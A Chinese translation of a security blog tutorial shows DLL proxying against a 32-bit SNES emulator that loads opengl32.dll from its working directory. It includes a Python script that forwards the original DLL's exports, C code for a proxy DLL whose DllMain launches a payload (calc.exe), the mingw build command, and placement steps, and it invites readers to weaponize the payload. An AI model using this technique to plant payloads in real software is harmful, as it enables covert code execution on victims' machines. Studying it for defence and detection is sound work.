SNES 模拟器DLL 劫持和 DLL 代理

SNES 模拟器DLL 劫持和 DLL 代理_可执行文件

时间:30分钟

难度初学者

技能:自定义漏洞利用开发、DLL劫持

30 分钟的漏洞利用开发帖子。我们去取得它。

我掉进了另一个安全研究兔子洞,当我从洞里跳出来时,我发现自己......

SNES 模拟器DLL 劫持和 DLL 代理_加载_02

……玩时空之轮?等等,什么?

图中的那个程序是一个 SNES 模拟器,如果你像我一样,你可能在童年/军营生活中花了很多时间使用它。我不会链接到你可以找到这些东西的地方,因为从技术上讲它们违反了版权或 DMCA 或其他什么,但它们并不难找到。

我们可以将我在这个例子中的使用归结为安全研究,所以 HAH。(请冷静任天堂)

我拿出我的旧外置硬盘,找到了 SNES9x 模拟器的压缩副本,启动它,发现了一个 DLL 劫持漏洞,它在召唤我利用它。

DLL劫持概述

关于 DLL 劫持的速成课程:

以 x86 和 x64 架构编写的程序利用动态链接库 (DLL) 在软件开发过程中提供灵活性和可移植性。DLL 基本上是包含可重用代码、资源和变量的小型程序。就其性质而言,它们没有入口点,需要一个父可执行文件在运行时调用它们。如果你只有一个 DLL,你可以使用 Rundll32.exe 之类的东西来运行该特定 DLL 的内容,而无需父程序。否则,DLL 中的函数可以由父可执行文件调用,使用 LoadLibrary API 调用将它们动态导入到程序中。

现在,有时软件开发并不完全按计划进行。有时,你可能会编写一个程序来调用加载一个不存在的 DLL。或者,在 SNES 模拟器的情况下,你可能会遇到相当于路径漏洞,这基本上意味着程序尝试从当前工作目录加载 DLL,然后查看其他地方。

这就是我加载Procmon并运行SNES模拟器时的情况:

SNES 模拟器DLL 劫持和 DLL 代理_随机化_03

在上图中,SNES 模拟器已放置在我的 FlareVM 主机的桌面上。当程序尝试加载 opengl32.dll 时,它首先检查 .dll 的当前工作目录C:\Users\Husky\Desktop\SNES32bit\。当它在这里找不到指定的 DLL 时,它会转到 SysWOW64 目录并成功加载那里存在的那个。这个 SNES 模拟器是一个 32 位应用程序,所以它会检查 SysWOW64 以获取其所需的 DLL。

请记住,System32 和 SysWOW64 有一种冰岛/格陵兰岛的情况。在标准的 x64 机器上,你的 64 位系统目录是 System32,你的 32 位系统目录是 SysWOW64。与微软合作得很好。

无论如何,这存在一个漏洞。该程序试图从我们可以写入的目录中加载 DLL。这是因为该程序已被复制到桌面,而不是安装在标准程序目录中,例如 Program Files。

不难想象这样一种情况,在这种情况下,这个软件是共享的,很多人只是从硬盘驱动器共享它,然后将文件复制到他们自己在军营的笔记本电脑上。

另外,在此注意,SNES 模拟器具有 DEP 但没有 ASLR ......将来可能会回到那个状态

*ASLR:ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。

*DEP:DEP (数据执行保护) 是 Microsoft Windows XP Service Pack 2 (SP2) 支持的一种处理器功能,它禁止在标记为数据存储的内存区域中执行代码。此功能也称作“不执行”和“执行保护”。当尝试运行标记的数据页中的代码时,就会立即发生异常并禁止执行代码。这可以防止攻击者使用代码致使数据缓冲区溢出,然后执行该代码。

SNES 模拟器DLL 劫持和 DLL 代理_随机化_04

在在一些课程中,DLL劫持是通过以下方式来教授的:

“只需要做一个MSFVenom DLL有效载荷,并将其替换为程序试图加载的那个。”

这有效,直到程序崩溃或第一时间加载失败:

SNES 模拟器DLL 劫持和 DLL 代理_随机化_05

SNES 模拟器DLL 劫持和 DLL 代理_加载_06

DOS 不在范围内,伙计们。我认为我们可以做得比这更好。进入,DLL 代理

DLL 代理

DLL代理是DLL劫持的更酷、更成功的大哥。

考虑如下:

SNES 模拟器DLL 劫持和 DLL 代理_加载_07

你可能能够从 DLL 劫持中获得 shellcode 执行,但程序仍然需要解析它想要从原始 DLL 进行的函数调用。并且你的 MSFVenom 生成的 DLL 不知道如何处理这些请求的函数,因此 calc.exe 运行并且程序崩溃。

比较这个:

SNES 模拟器DLL 劫持和 DLL 代理_可执行文件_08

在DLL代理中,你可以创建一个新的DLL,其中包含指向原始DLL导入函数的指针。你将payload隐藏到这个DLL的一个部分中,并使用剩余的空间将可执行文件指向它想要加载的原始DLL。

程序按照其最初的预期功能执行,得到有效负载执行。

那么该如何做?

方法

SNES 模拟器DLL 劫持和 DLL 代理_函数调用_09

打开一个可执行文件,并识别一个试图加载DLL但没有成功的程序。在我的例子中,我关注的是OpenGL32.dll:

SNES 模拟器DLL 劫持和 DLL 代理_函数调用_10

重新配置过滤器以查看此 DLL 是否在程序执行的任何时候成功加载。因此,只需过滤即可扩大你的搜索条件:

SNES 模拟器DLL 劫持和 DLL 代理_加载_11

如果你找到了一个很好的 DLL 候选代理,你可能会看到如下内容:

SNES 模拟器DLL 劫持和 DLL 代理_数据_12

开启了,将成功加载的 DLL 从主机复制到攻击者机器并命名为[dllName]_original.dll. 你甚至可能很幸运,这个 DLL 可能在所有 Windows 系统上都是本地的,因此你甚至可能不需要从目标主机复制它,只需从你自己的 Windows 主机复制它。

在攻击者机器上,使用这个简单的 Python 脚本从原始 DLL 中提取导出的函数并将它们写入模块定义文件 (.def)

import pefile
 
dll = pefile.PE('[dllName]_orig.dll')
 
print("EXPORTS")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
    if export.name:
        print('{}=[dllName]_orig.{} @{}'.format(export.name.decode(), export.name.decode(), export.ordinal))

请注意引用原始 DLL 的两个位置,并确保相应地更改这些值。

$ python3 def_gen.py > [dllName].def

模块定义文件在编译程序时向编译器提供有关链接导出的信息。在这种情况下,我们将告诉编译器制作我们的代理 DLL 并将其链接到原始 DLL 以指向其所有导出的函数。

┌──(kali㉿kali)-[~/Desktop]
└─$ cat opengl32.def 
EXPORTS
GlmfBeginGlsBlock=opengl32_orig.GlmfBeginGlsBlock @1
GlmfCloseMetaFile=opengl32_orig.GlmfCloseMetaFile @2
GlmfEndGlsBlock=opengl32_orig.GlmfEndGlsBlock @3
GlmfEndPlayback=opengl32_orig.GlmfEndPlayback @4
GlmfInitPlayback=opengl32_orig.GlmfInitPlayback @5
GlmfPlayGlsRecord=opengl32_orig.GlmfPlayGlsRecord @6
glAccum=opengl32_orig.glAccum @7
.....

所以基本上,每次可执行文件询问“嘿 DLL,[函数] 在哪里?” 代理 DLL 回答“哦,是的,去检查 [dllName]_original.dll,它应该在那里。”

鬼鬼祟祟的鬼鬼祟祟的。

现在,我们制作我们的代理 DLL。这是一个用 C 编写的非常简单的程序,它导出一个 DLLMain 函数作为 DLL 的入口点。在 DLLMain 方法中,我们偷偷调用了 Payload 函数。该函数执行,然后所有其他请求的函数调用都传递给 [dllName]_original.dll:

创建此 C 文件并将其命名为 [dllName].c:

#include <processthreadsapi.h>
#include <memoryapi.h>
 
void Payload()
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
   
  char cmd[] = "calc.exe";
   
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));
 
  CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      Payload();
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

到现在为止还挺好。

最后,我们需要创建这个代理 DLL 并将它与我们的模块定义文件链接起来。这可以通过mingw-w64来完成它具有编译我们的 DLL 所需的必要工具链。请注意你的架构:我正在代理 32 位 SNES 模拟器,因此我需要为 32 位架构编译它。

如果你的攻击机上没有 mingw-w64,只需输入:

$ sudo apt-get install mingw-w64 -y

然后,编译我们的 DLL:然后,编译我们的 DLL:

$ i686-w64-mingw32-gcc -shared -o [dllName].dll [dllName].c [dllName].def -s

当 DLL 编译时,你现在应该有四个文件可以使用:

![image-20210830192949107]([翻译]SNES 模拟器DLL劫持和DLL代理.assets/image-20210830192949107.png)

  • [dllName]_original.dll:我们从主机上拉下来的原始 DLL,重命名为“_original”
  • [dllName].c:包含我们的有效负载的代理 DLL 的 C 代码。
  • [dllName].def: 使用Python脚本从原始dll中提取导出的函数调用创建的模块定义文件。
  • [dllName].dll: 新编译的代理DLL。

最后一步是将原始DLL和代理DLL放在目标主机的程序目录下。这两个 DLL 必须与彼此和原始程序位于同一目录中。

SNES 模拟器DLL 劫持和 DLL 代理_数据_13

找到两个 DLL 后,启动程序!

SNES 模拟器DLL 劫持和 DLL 代理_可执行文件_14

恭喜,你的代理 DLL 中加载了一个功能齐全的程序。没有崩溃,没有段错误,只是计算。

说到 calc,我将把它留给读者练习如何更有效地将其武器化。但是如果你仔细阅读代理DLL代码,应该不会太难。

原文:https://huskyhacks.dev/2021/08/29/dll-hijacking-dll-proxying-an-snes-emulator/

参考